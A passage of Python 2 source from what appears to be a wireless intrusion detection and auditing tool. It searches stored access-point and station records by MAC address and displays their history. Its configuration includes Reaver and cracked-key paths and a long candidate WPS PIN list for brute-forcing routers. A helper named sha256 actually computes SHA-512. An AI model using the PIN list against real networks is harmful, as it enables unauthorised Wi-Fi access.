                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="3" and str(tmpList[6]).upper()[-SearchLen:]==SearchVal.upper():
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if ToDisplay==1:
                                print tabspacefull + fcolor.SGreen + "Found Match in DB : " + fcolor.SWhite + str(tmpList[0]) + fcolor.SGreen + " (STATION)"
        if IsFileDirExist(DBFile4)=="F":
	    with open(DBFile4,"r") as f:
                next(f)
    	        for line in f:
                    line=line.replace("\n","")
                    tmpList=str(line).split(";")
                    if len(tmpList)>=3:
                        ToDisplay = 0
                        if __builtin__.SearchType=="0" and str(tmpList[2]).upper()==SearchVal.upper():
                            if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                __builtin__.DbShowStationList.append (tmpList[0])
                                DbMatchStationCt += 1
                                ToDisplay=1
                        if __builtin__.SearchType=="1" and str(tmpList[2]).upper().find(SearchVal.upper())!=-1:
                            if str(__builtin__.ShowStationList2).find(tmpList[0])==-1  and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                __builtin__.DbShowStationList.append (tmpList[0])
                                DbMatchStationCt += 1
                                ToDisplay=1
                        if __builtin__.SearchType=="2" and str(tmpList[2]).upper()[:SearchLen]==SearchVal.upper():
                            if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                __builtin__.DbShowStationList.append (tmpList[0])
                                DbMatchStationCt += 1
                                ToDisplay=1
                        if __builtin__.SearchType=="3" and str(tmpList[2]).upper()[-SearchLen:]==SearchVal.upper():
                            if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                __builtin__.DbShowStationList.append (tmpList[0])
                                DbMatchStationCt += 1
                                ToDisplay=1
                        if ToDisplay==1:
                            print tabspacefull + fcolor.SGreen + "Found Match in DB : " + fcolor.SWhite + str(tmpList[0]) + fcolor.SGreen + " (STATION)"
        if IsFileDirExist(DBFile1)=="F":
	    with open(DBFile1,"r") as f:
                next(f)
    	        for line in f:
                    line=line.replace("\n","")
                    tmpList=str(line).split(";")
                    if len(tmpList)>=6:
                        if len(tmpList[1])==17:
                            ToDisplay = 0
                            if __builtin__.SearchType=="0" and str(tmpList[5]).upper()==SearchVal.upper():
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="1" and str(tmpList[5]).upper().find(SearchVal.upper())!=-1:
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="2" and str(tmpList[5]).upper()[:SearchLen]==SearchVal.upper():
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="3" and str(tmpList[5]).upper()[-SearchLen:]==SearchVal.upper():
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if ToDisplay==1:
                                print tabspacefull + fcolor.SGreen + "Found Match in DB : " + fcolor.SWhite + str(tmpList[1]) + fcolor.SGreen + " (BSSID)"
                        if len(tmpList[0])==17:
                            ToDisplay = 0
                            if __builtin__.SearchType=="0" and str(tmpList[5]).upper().upper()==SearchVal.upper():
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1  and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="1" and str(tmpList[5]).upper().find(SearchVal.upper())!=-1:
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="2" and str(tmpList[5]).upper()[:SearchLen]==SearchVal.upper():
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="3" and str(tmpList[5]).upper()[-SearchLen:]==SearchVal.upper():
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if ToDisplay==1:
                                print tabspacefull + fcolor.SGreen + "Found Match in DB : " + fcolor.SWhite + str(tmpList[0]) + fcolor.SGreen + " (STATION)"
    if DbMatchBSSIDCt>0 or DbMatchStationCt>0:
        printc ("+",fcolor.SWhite + "Duplication from active listing will be ignored.","")
        if DbMatchBSSIDCt>0:
            printc ("i","Total BSSID Matched in Database   : " + fcolor.BRed + str(DbMatchBSSIDCt),"")
        if DbMatchStationCt>0:
            printc ("i","Total Station Matched in Database : " + fcolor.BRed + str(DbMatchStationCt),"")
        print ""
        printc ("x","Press any key to display the listing detail...","")
    else:
        printc ("+",fcolor.SWhite + "Duplication from active listing will be ignored.","")
        if SELECTTYPE=="MAC":
            printc ("!!","The specified MAC address was not found in database files !!!","")
        if SELECTTYPE=="NAME":
            printc ("!!","The specified Name was not found in database files !!!","")
        LineBreak()
        return;
    if DbMatchBSSIDCt>0:
        x=0
        CenterText(fcolor.BWhite + fcolor.BGBlue, "MATCHED ACCESS POINT LISTING [ " + str(len(__builtin__.DbShowBSSIDList)) + " ] FROM DATABASE")
        while x<len(DbShowBSSIDList):
            CenterText(fcolor.BBlack + fcolor.BGWhite, "ACCESS POINT MAC ADDRESS [ " + str(DbShowBSSIDList[x]) + "] DETAILED INFORMATION FROM DATABASE - RECORD " + str(x + 1) + "/" + str(len(__builtin__.DbShowBSSIDList)))
            print ""
            DisplayMACDetailFromFiles(DbShowBSSIDList[x])
            x += 1
    if DbMatchStationCt>0:
        x=0
        CenterText(fcolor.BWhite + fcolor.BGBlue, "MATCHED STATION LISTING [ " + str(len(__builtin__.DbShowStationList)) + " ] FROM DATABASE")
        while x<len(DbShowStationList):
            CenterText(fcolor.BBlack + fcolor.BGWhite, "STATION MAC ADDRESS [ " + str(DbShowStationList[x]) + "] DETAILED INFORMATION FROM DATABASE - RECORD " + str(x+1) + "/" + str(len(__builtin__.DbShowStationList)))
            print ""
            DisplayMACDetailFromFiles(DbShowStationList[x])
            x += 1

def DisplayMACDetailFromFiles (MACAddr):
    MAC_OUI=Check_OUI(MACAddr,"")
    tmpList=[]
    AsClientText=""
    AsAPText=""
    TimeColor=fcolor.SGreen
    ESSIDColor=fcolor.BPink
    BSSIDColor=fcolor.BRed
    RptColor=fcolor.SCyan
    OthColor=fcolor.BGreen
    LF = "\n"
    if IsFileDirExist(DBFile1)=="F":
        RecCt=0;DisplayText=""
	with open(DBFile1,"r") as f:
            next(f)
	    for line in f:
                line=line.replace("\n","")
                tmpList=str(line).split(";")
                if len(tmpList)>=6:
                    if tmpList[0]==MACAddr:
                        RecCt += 1
                        ESSID=tmpList[5]
                        if ESSID=="":
                            ESSID=fcolor.IGray + "<<NO ESSID>>"
                        DText=InsNum(RecCt) + StdColor + "MAC ID [ " + SelColor + str(tmpList[0]) + StdColor + " ] is both a Station & Access Point [ " + ESSIDColor + str(ESSID) + StdColor + " ] on " + TimeColor + str(tmpList[2]) + StdColor + " as Access Point."
                        RecDetail="Recorded " + str(tmpList[4])
                        RC=int(RightEnd(DText))
                        DisplayText=DisplayText + DText + RptColor +  str(RecDetail).rjust(RC) + LF
                        if len(tmpList[1])==17:
                            DisplayText=DisplayText + tabspacefull + StdColor + "The MAC is also found to be associated to Access Point [ " + BSSIDColor + str(tmpList[1]) + StdColor + " ] as a wireless client on " + TimeColor + str(tmpList[3]) + LF
                        else:
                            DisplayText=DisplayText + tabspacefull + StdColor + "The MAC was not found to be associated with any Access Point as on " + TimeColor + str(tmpList[3]) + LF
        if DisplayText!="":
            DisplayText = fcolor.BBlue + "Access Point & Station (History)\n" + fcolor.CReset + DisplayText
            print DisplayText 
    if IsFileDirExist(DBFile6)=="F":
        RecCt=0;RecCt2=0;DisplayText="";DisplayText2=""
	with open(DBFile6,"r") as f:
            next(f)
	    for line in f:
                line=line.replace("\n","")
                tmpList=str(line).split(";")
                if len(tmpList)>=5:
                    if tmpList[0]==MACAddr:
                        RecCt += 1
                        RecDetail="Recorded " + str(tmpList[3])
                        DText=InsNum(RecCt) + StdColor +   "MAC ID [ " + SelColor + str(tmpList[0]) + StdColor + " ] ==> Initally associated to MAC [ " + fcolor.BBlue + str(tmpList[1]) + StdColor + " ] ESSID [ " + fcolor.BBlue + str(tmpList[4]) + StdColor +  " ]"
                        RC=int(RightEnd(DText))
                        DisplayText=DisplayText + DText + RptColor +  str(RecDetail).rjust(RC) + LF
                        DText=StdColor + "\t\t\t\t   ==> Subsequently to MAC        [ " + fcolor.BRed + str(tmpList[2]) + StdColor + " ] ESSID [ " + fcolor.BRed + str(tmpList[5]) + StdColor +  " ]"
                        DisplayText=DisplayText + DText  + LF
        if DisplayText!="":
            AsClientText = AsClientText + DisplayText + LF
    if IsFileDirExist(DBFile2)=="F":
        RecCt=0;DisplayText=""
	with open(DBFile2,"r") as f:
            next(f)
	    for line in f:
                line=line.replace("\n","")
                tmpList=str(line).split(";")
                if len(tmpList)>=18:
                    if tmpList[0]==MACAddr:
                        RecCt += 1
                        RecDetail="Recorded " + str(tmpList[17])
                        ENRICHED=str(tmpList[1])
                        if ENRICHED=="Yes":
                            ENRICHED=fcolor.BRed + " *"
                        else:
                            ENRICHED=fcolor.BRed + "  "
                        BSSID=SelColor + str(tmpList[0]) + ENRICHED
                        ESSID=ESSIDColor + str(tmpList[18])
                        MODE=OthColor + str(tmpList[2])
                        FIRSTSEEN=RptColor +str(tmpList[3])
                        LASTSEEN=RptColor +str(tmpList[4])
                        CHANNEL=OthColor +str(tmpList[5])
                        PRIVACY=OthColor + str(tmpList[6]) + " / " + str(tmpList[7]) + " / " + str(tmpList[8])
                        RATES=str(OthColor + "Max : " + OthColor + str(tmpList[9]) + " Mb/s" + StdColor + " [" + fcolor.SGreen + str(tmpList[10]) + StdColor + "]").replace(" | ", StdColor + " | " + fcolor.SGreen)
                        SIGNAL=OthColor + str(tmpList[11])
                        GPS=OthColor + str(tmpList[12]) + StdColor + " / " + OthColor + str(tmpList[13]) + StdColor + " / " + OthColor + str(tmpList[14])
                        WPS=OthColor + str(tmpList[15]) + StdColor + " / " + OthColor + str(tmpList[16]) 
                        DText=InsNum(RecCt) + StdColor +  "BSSID      : " + str(BSSID) + "    " + StdColor +   "ESSID      : " + str(ESSID).ljust(35) + StdColor +    "MODE  : " + str(MODE).ljust(25) + StdColor +  "WPS : " + str(WPS)
                        RC=int(RightEnd(DText))
                        DisplayText=DisplayText + DText + RptColor +  str(RecDetail).rjust(RC) + LF
                        DText=tabspacefull + StdColor +   "Channel    : " + str(CHANNEL).ljust(30) + StdColor + "Privacy    : " + str(PRIVACY).ljust(35) + StdColor +  "Power : " + str(SIGNAL) + " dBm" + LF
                        DisplayText=DisplayText + DText 
                        DText=tabspacefull + StdColor +   "Bit Rates  : " + str(RATES) + LF
                        DisplayText=DisplayText + DText 
                        DText=tabspacefull + StdColor +   "First Seen : " + str(FIRSTSEEN).ljust(75) + StdColor + "Last Seen : " + str(LASTSEEN) + LF
                        DisplayText=DisplayText + DText 
                        DText=tabspacefull + StdColor +   "Lon/Lat/Alt: " + str(GPS) + LF
                        DisplayText=DisplayText + DText + LF
        if DisplayText!="":
            AsAPText = AsAPText + DisplayText 

    if IsFileDirExist(DBFile3)=="F":
        RecCt=0;RecCt2=0;DisplayText="";DisplayText2=""
	with open(DBFile3,"r") as f:
            next(f)
	    for line in f:
                line=line.replace("\n","")
                tmpList=str(line).split(";")
                if len(tmpList)>=7:
                    Signal=StdColor + " - Signal : " + OthColor + str(tmpList[4]) + " dBm"
                    ESSID=tmpList[6]
                    if ESSID=="":
                        ESSID=fcolor.IGray + "<<NO ESSID>>"
                    if tmpList[0]==MACAddr:
                        RecCt += 1
                        if tmpList[1]=="Not Associated":
                            OUI=Check_OUI(tmpList[0],"1")
                            DText=InsNum(RecCt) + StdColor + "MAC ID [ " + SelColor + str(tmpList[0]) + StdColor +  " ] was not associated to any Access Point." + str(Signal) 
                            RecDetail="Recorded " + str(tmpList[5])
                            RC=int(RightEnd(DText))
                            DisplayText=DisplayText + DText + RptColor +  str(RecDetail).rjust(RC) # + LF 
                            DisplayText=DisplayText + fcolor.SWhite + "\n         MAC OUI : " + fcolor.SCyan + str(OUI) + LF+ "\n"
                            DisplayText=DisplayText
                        else:
                            OUI=Check_OUI(tmpList[0],"1")
                            DText=InsNum(RecCt) + StdColor +   "MAC ID [ " + SelColor + str(tmpList[0]) + StdColor +  " ] has associated to Access Point [ " + BSSIDColor + tmpList[1] + StdColor + " ] ESSID [ " + ESSIDColor + str(ESSID) + StdColor + " ]" + str(Signal) + StdColor + " before."
                            RecDetail="Recorded " + str(tmpList[5])
                            RC=int(RightEnd(DText))
                            DisplayText=DisplayText + DText + RptColor +  str(RecDetail).rjust(RC) # + LF 
                            DisplayText=DisplayText + fcolor.SWhite + "\n         MAC OUI : " + fcolor.SCyan + str(OUI) + LF+ "\n"
                    if tmpList[1]==MACAddr:
                        RecCt2 += 1
			OUI=Check_OUI(tmpList[0],"1")
                        DText=InsNum(RecCt2) + StdColor + "Client MAC [ " + BSSIDColor + tmpList[0] + StdColor + " ] was connected to MAC [ " + SelColor + str(tmpList[1]) + StdColor + " ] ESSID [ " + ESSIDColor + str(ESSID) + StdColor + " ]" + str(Signal) 
                        RecDetail="Recorded " + str(tmpList[5])
                        RC=int(RightEnd(DText))
                        DisplayText2=DisplayText2 + DText + RptColor +  str(RecDetail).rjust(RC) # + LF 
                        DisplayText2=DisplayText2 + fcolor.SWhite + "\n         MAC OUI : " + fcolor.SCyan + str(OUI) + LF + "\n"
        if DisplayText!="":
            AsClientText = AsClientText + DisplayText + LF
        if DisplayText2!="":
            AsAPText = AsAPText + DisplayText2 + LF
    if IsFileDirExist(DBFile4)=="F":
        RecCt=0;RecCt2=0;DisplayText="";DisplayText2=""
	with open(DBFile4,"r") as f:
            next(f)
	    for line in f:
                line=line.replace("\n","")
                tmpList=str(line).split(";")
                if len(tmpList)>=3:
                    if tmpList[0]==MACAddr:
                        RecCt += 1
                        RecDetail="Recorded " + str(tmpList[1])
                        DText=InsNum(RecCt) + StdColor +   "MAC ID [ " + SelColor + str(tmpList[0]) + StdColor + "] ==> " + fcolor.BBlue + "Probe " + StdColor + "[ " + fcolor.BPink + str(tmpList[2]) + StdColor +  " ]" 
                        RC=int(RightEnd(DText))
                        DisplayText=DisplayText + DText + RptColor +  str(RecDetail).rjust(RC) + LF
        if DisplayText!="":
            AsClientText = AsClientText + DisplayText + LF
    if AsAPText!="":
        CenterText(fcolor.BIGray, "As Access Point (History Logs)     ")
        DrawLine("v",fcolor.CReset + fcolor.Black,"",""); print ""
        AsAPText=AsAPText[:-2]
        print AsAPText
        LineBreak()
    if AsClientText!="":
        CenterText(fcolor.BIGray, "As Wireless Station (History Logs)     ")
        DrawLine("v",fcolor.CReset + fcolor.Black,"",""); print ""
        AsClientText=AsClientText[:-2]
        print AsClientText
        LineBreak()

def RightEnd(StrVal):
    curses.setupterm()
    TWidth=curses.tigetnum('cols')
    TWidth=TWidth-1
    SL = len(RemoveColor(StrVal))
    RL = int(TWidth) - SL 
    return int(RL)

def sha256(sVal,cmd):
    hash=hashlib.sha512()
    hash.update(sVal)
    result=hash.digest()
    if cmd=="h":
        result=''.join(x.encode('hex') for x in result)
        result=str(result).upper()
    return result

def sha512(sVal,cmd):
    hash=hashlib.sha512()
    hash.update(sVal)
    result=hash.digest()
    if cmd=="h":
        result=''.join(x.encode('hex') for x in result)
        result=str(result).upper()
    return result

def MD5(sVal,cmd):
    hash=hashlib.md5()
    hash.update(sVal)
    result=hash.digest()
    if cmd=="h":
        result=''.join(x.encode('hex') for x in result)
        result=str(result).upper()
    return result

def Hashing(sText):
    HashText=sText
    x=0
    while x<30:
        HashText=sha512(HashText,"");HashText2=sha256(HashText,"");H1=HashText[:32];H2=HashText[32:-64];H3=HashText[64:-32];H4=HashText[-32:];H5=HashText2[:32];H6=HashText2[-32:]
        HashText=H2 + H6 + H3 + __builtin__.HWID_ENC + __builtin__.USERHASH + H5 + H1 + H4;HashText=sha512(HashText,"");H1=HashText[:64];H2=HashText[-64:];HashText=sha256(H2 + H1,"")
        H1=HashText[:32];H2=HashText[-32:];HashText=sha512(H2 + H1,"")
        x=x+1
    HashText=MD5(HashText,"h")
    return HashText

def GetHardwareID():
    ps=subprocess.Popen("dmidecode | sed -n '/Handle 0x0000/,/Handle 0x0004/p'" , shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'))	
    hid=sha512(str(ps.stdout.read()),"")
    ps.wait();ps.stdout.close()
    __builtin__.HWID_ENC=str(hid)
    hid=MD5(hid,"h")
    __builtin__.HWID=(hid)
    return hid
################################
################################
__builtin__.STxt=fcolor.BRed
__builtin__.NTxt=fcolor.BYellow
__builtin__.col=";"
color_pattern = re.compile('\033\[(\d;\d\d|\d{1,3})m')
ColorStd=fcolor.SGreen
ColorStd2=fcolor.SWhite
ColorDev=fcolor.BBlue
Color1st=fcolor.BCyan
Color2nd=fcolor.BRed
SelColor=fcolor.BYellow
SelBColor=fcolor.BRed
StdColor=fcolor.SWhite
InfoColor=fcolor.SWhite
lblColor=fcolor.BGreen
txtColor=fcolor.SGreen
VendorColor=fcolor.Cyan
__builtin__.SHOW_CONNECTION_ALERT="Yes"
__builtin__.SHOW_SUSPICIOUS_LISTING="Yes"
__builtin__.SHOW_IDS="Yes"
__builtin__.DISABLE_BREAK="No"
__builtin__.HIDE_AFTER_MIN = 3
__builtin__.TOTALLY_REMOVE_MIN=10
__builtin__.HIDE_INACTIVE_SSID="Yes"
__builtin__.HIDE_INACTIVE_STN="Yes"
__builtin__.NETWORK_VIEW="4"   
__builtin__.ALERTSOUND="No"
__builtin__.TIMEOUT=30
__builtin__.TIMES_BEFORE_UPDATE_AP_DB=10
__builtin__.TIMES_BEFORE_UPDATE_STN_DB=5
__builtin__.UPDATE_STN_COUNT=0
__builtin__.TimeStart=""
__builtin__.TimeEnd=""
appdir="/.SYWorks/WAIDPS/"
dbdir="/.SYWorks/Database/"
savedir="/.SYWorks/Saved/"
attackdir="/.SYWorks/Captured/Attack/"
mondir="/.SYWorks/Captured/Monitoring/"
tmpdir=appdir + "tmp/"
__builtin__.currentdir=""
PathList = ['tmp/']
__builtin__.lookupdir=savedir
__builtin__.searchdir=[lookupdir,savedir,dbdir,attackdir,mondir,appdir]
__builtin__.FilenameHeader="WAIDPS-"
__builtin__.ConfigFile=appdir + "config.ini"
__builtin__.PktConfig=appdir + "pktconfig.ini"
__builtin__.MonitorMACfile=dbdir + "MonitorMAC.ini"
__builtin__.WhitelistFile=dbdir + "Whitelist.ini"
__builtin__.CommandHistory=tmpdir+"History"
__builtin__.HWID_ENC=""
__builtin__.HWID=""
__builtin__.HWID_Saved=""
__builtin__.USERNAME=""
__builtin__.USERHASH=""
__builtin__.USERPASS=""
__builtin__.ENCRYPTED_PASS=""
BLOCK_SIZE = 32
PADDING = '{'
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
__builtin__.MACOUI=dbdir + "mac-oui.db"
CautiousLog=dbdir + FilenameHeader + "Cautious.log"
AttackLog=dbdir + FilenameHeader + "Attacks.log"
SuspiciousLog=dbdir + FilenameHeader + "Suspicious.log"
__builtin__.Sniffer=""
DBFile1=dbdir + FilenameHeader + "APnStation.db"
DBFile2=dbdir + FilenameHeader + "AccessPoint.db"
DBFile3=dbdir + FilenameHeader + "Station.db"
DBFile4=dbdir + FilenameHeader + "Probes.db"
DBFile5=dbdir + FilenameHeader + "ConnectHistory.db"
DBFile6=dbdir + FilenameHeader + "SwitchedAP.db"
DBFile7=dbdir + FilenameHeader + "Dictionary.db"
DBWPS_SeqA=dbdir + FilenameHeader + "WPS_SeqA.db"
DBWPS_SeqD=dbdir + FilenameHeader + "WPS_SeqD.db"
DBWPS_Half=dbdir + FilenameHeader + "WPS_Half.db"
DBWPS_Alt=dbdir + FilenameHeader + "WPS_Alt.db"
DBWPS_Pos=dbdir + FilenameHeader + "WPS_Pos.db"
DBWPS_PosD=dbdir + FilenameHeader + "WPS_PosD.db"
CrackDB=dbdir + FilenameHeader + "Cracked.db"
EncDBFile=dbdir + FilenameHeader + "Encrypted.enc"
ReaverPath="/etc/reaver/"
__builtin__.WPS_SeqA ="0;0;0;1234;0000;0123;1111;2222;3333;4444;5555;6666;7777;8888;9999;0001;0002;0003;0004;0005;0006;0007;0008;0009;0010;0011;0012;0013;0014;0015;0016;0017;0018;0019;0020;0021;0022;0023;0024;0025;0026;0027;0028;0029;0030;0031;0032;0033;0034;0035;0036;0037;0038;0039;0040;0041;0042;0043;0044;0045;0046;0047;0048;0049;0050;0051;0052;0053;0054;0055;0056;0057;0058;0059;0060;0061;0062;0063;0064;0065;0066;0067;0068;0069;0070;0071;0072;0073;0074;0075;0076;0077;0078;0079;0080;0081;0082;0083;0084;0085;0086;0087;0088;0089;0090;0091;0092;0093;0094;0095;0096;0097;0098;0099;0100;0101;0102;0103;0104;0105;0106;0107;0108;0109;0110;0111;0112;0113;0114;0115;0116;0117;0118;0119;0120;0121;0122;0124;0125;0126;0127;0128;0129;0130;0131;0132;0133;0134;0135;0136;0137;0138;0139;0140;0141;0142;0143;0144;0145;0146;0147;0148;0149;0150;0151;0152;0153;0154;0155;0156;0157;0158;0159;0160;0161;0162;0163;0164;0165;0166;0167;0168;0169;0170;0171;0172;0173;0174;0175;0176;0177;0178;0179;0180;0181;0182;0183;0184;0185;0186;0187;0188;0189;0190;0191;0192;0193;0194;0195;0196;0197;0198;0199;0200;0201;0202;0203;0204;0205;0206;0207;0208;0209;0210;0211;0212;0213;0214;0215;0216;0217;0218;0219;0220;0221;0222;0223;0224;0225;0226;0227;0228;0229;0230;0231;0232;0233;0234;0235;0236;0237;0238;0239;0240;0241;0242;0243;0244;0245;0246;0247;0248;0249;0250;0251;0252;0253;0254;0255;0256;0257;0258;0259;0260;0261;0262;0263;0264;0265;0266;0267;0268;0269;0270;0271;0272;0273;0274;0275;0276;0277;0278;0279;0280;0281;0282;0283;0284;0285;0286;0287;0288;0289;0290;0291;0292;0293;0294;0295;0296;0297;0298;0299;0300;0301;0302;0303;0304;0305;0306;0307;0308;0309;0310;0311;0312;0313;0314;0315;0316;0317;0318;0319;0320;0321;0322;0323;0324;0325;0326;0327;0328;0329;0330;0331;0332;0333;0334;0335;0336;0337;0338;0339;0340;0341;0342;0343;0344;0345;0346;0347;0348;0349;0350;0351;0352;0353;0354;0355;0356;0357;0358;0359;0360;0361;0362;0363;0364;0365;0366;0367;0368;0369;0370;0371;0372;0373;0374;0375;0376;0377;0378;0379;0380;0381;0382;0383;0384;0385;0386;0387;0388;0389;0390;0391;0392;0393;0394;0395;0396;0397;0398;0399;0400;0401;0402;0403;0404;0405;0406;0407;0408;0409;0410;0411;0412;0413;0414;0415;0416;0417;0418;0419;0420;0421;0422;0423;0424;0425;0426;0427;0428;0429;0430;0431;0432;0433;0434;0435;0436;0437;0438;0439;0440;0441;0442;0443;0444;0445;0446;0447;0448;0449;0450;0451;0452;0453;0454;0455;0456;0457;0458;0459;0460;0461;0462;0463;0464;0465;0466;0467;0468;0469;0470;0471;0472;0473;0474;0475;0476;0477;0478;0479;0480;0481;0482;0483;0484;0485;0486;0487;0488;0489;0490;0491;0492;0493;0494;0495;0496;0497;0498;0499;0500;0501;0502;0503;0504;0505;0506;0507;0508;0509;0510;0511;0512;0513;0514;0515;0516;0517;0518;0519;0520;0521;0522;0523;0524;0525;0526;0527;0528;0529;0530;0531;0532;0533;0534;0535;0536;0537;0538;0539;0540;0541;0542;0543;0544;0545;0546;0547;0548;0549;0550;0551;0552;0553;0554;0555;0556;0557;0558;0559;0560;0561;0562;0563;0564;0565;0566;0567;0568;0569;0570;0571;0572;0573;0574;0575;0576;0577;0578;0579;0580;0581;0582;0583;0584;0585;0586;0587;0588;0589;0590;0591;0592;0593;0594;0595;0596;0597;0598;0599;0600;0601;0602;0603;0604;0605;0606;0607;0608;0609;0610;0611;0612;0613;0614;0615;0616;0617;0618;0619;0620;0621;0622;0623;0624;0625;0626;0627;0628;0629;0630;0631;0632;0633;0634;0635;0636;0637;0638;0639;0640;0641;0642;0643;0644;0645;0646;0647;0648;0649;0650;0651;0652;0653;0654;0655;0656;0657;0658;0659;0660;0661;0662;0663;0664;0665;0666;0667;0668;0669;0670;0671;0672;0673;0674;0675;0676;0677;0678;0679;0680;0681;0682;0683;0684;0685;0686;0687;0688;0689;0690;0691;0692;0693;0694;0695;0696;0697;0698;0699;0700;0701;0702;0703;0704;0705;0706;0707;0708;0709;0710;0711;0712;0713;0714;0715;0716;0717;0718;0719;0720;0721;0722;0723;0724;0725;0726;0727;0728;0729;0730;0731;0732;0733;0734;0735;0736;0737;0738;0739;0740;0741;0742;0743;0744;0745;0746;0747;0748;0749;0750;0751;0752;0753;0754;0755;0756;0757;0758;0759;0760;0761;0762;0763;0764;0765;0766;0767;0768;0769;0770;0771;0772;0773;0774;0775;0776;0777;0778;0779;0780;0781;0782;0783;0784;0785;0786;0787;0788;0789;0790;0791;0792;0793;0794;0795;0796;0797;0798;0799;0800;0801;0802;0803;0804;0805;0806;0807;0808;0809;0810;0811;0812;0813;0814;0815;0816;0817;0818;0819;0820;0821;0822;0823;0824;0825;0826;0827;0828;0829;0830;0831;0832;0833;0834;0835;0836;0837;0838;0839;0840;0841;0842;0843;0844;0845;0846;0847;0848;0849;0850;0851;0852;0853;0854;0855;0856;0857;0858;0859;0860;0861;0862;0863;0864;0865;0866;0867;0868;0869;0870;0871;0872;0873;0874;0875;0876;0877;0878;0879;0880;0881;0882;0883;0884;0885;0886;0887;0888;0889;0890;0891;0892;0893;0894;0895;0896;0897;0898;0899;0900;0901;0902;0903;0904;0905;0906;0907;0908;0909;0910;0911;0912;0913;0914;0915;0916;0917;0918;0919;0920;0921;0922;0923;0924;0925;0926;0927;0928;0929;0930;0931;0932;0933;0934;0935;0936;0937;0938;0939;0940;0941;0942;0943;0944;0945;0946;0947;0948;0949;0950;0951;0952;0953;0954;0955;0956;0957;0958;0959;0960;0961;0962;0963;0964;0965;0966;0967;0968;0969;0970;0971;0972;0973;0974;0975;0976;0977;0978;0979;0980;0981;0982;0983;0984;0985;0986;0987;0988;0989;0990;0991;0992;0993;0994;0995;0996;0997;0998;0999;1000;1001;1002;1003;1004;1005;1006;1007;1008;1009;1010;1011;1012;1013;1014;1015;1016;1017;1018;1019;1020;1021;1022;1023;1024;1025;1026;1027;1028;1029;1030;1031;1032;1033;1034;1035;1036;1037;1038;1039;1040;1041;1042;1043;1044;1045;1046;1047;1048;1049;1050;1051;1052;1053;1054;1055;1056;1057;1058;1059;1060;1061;1062;1063;1064;1065;1066;1067;1068;1069;1070;1071;1072;1073;1074;1075;1076;1077;1078;1079;1080;1081;1082;1083;1084;1085;1086;1087;1088;1089;1090;1091;1092;1093;1094;1095;1096;1097;1098;1099;1100;1101;1102;1103;1104;1105;1106;1107;1108;1109;1110;1112;1113;1114;1115;1116;1117;1118;1119;1120;1121;1122;1123;1124;1125;1126;1127;1128;1129;1130;1131;1132;1133;1134;1135;1136;1137;1138;1139;1140;1141;1142;1143;1144;1145;1146;1147;1148;1149;1150;1151;1152;1153;1154;1155;1156;1157;1158;1159;1160;1161;1162;1163;1164;1165;1166;1167;1168;1169;1170;1171;1172;1173;1174;1175;1176;1177;1178;1179;1180;1181;1182;1183;1184;1185;1186;1187;1188;1189;1190;1191;1192;1193;1194;1195;1196;1197;1198;1199;1200;1201;1202;1203;1204;1205;1206;1207;1208;1209;1210;1211;1212;1213;1214;1215;1216;1217;1218;1219;1220;1221;1222;1223;1224;1225;1226;1227;1228;1229;1230;1231;1232;1233;1235;1236;1237;1238;1239;1240;1241;1242;1243;1244;1245;1246;1247;1248;1249;1250;1251;1252;1253;1254;1255;1256;1257;1258;1259;1260;1261;1262;1263;1264;1265;1266;1267;1268;1269;1270;1271;1272;1273;1274;1275;1276;1277;1278;1279;1280;1281;1282;1283;1284;1285;1286;1287;1288;1289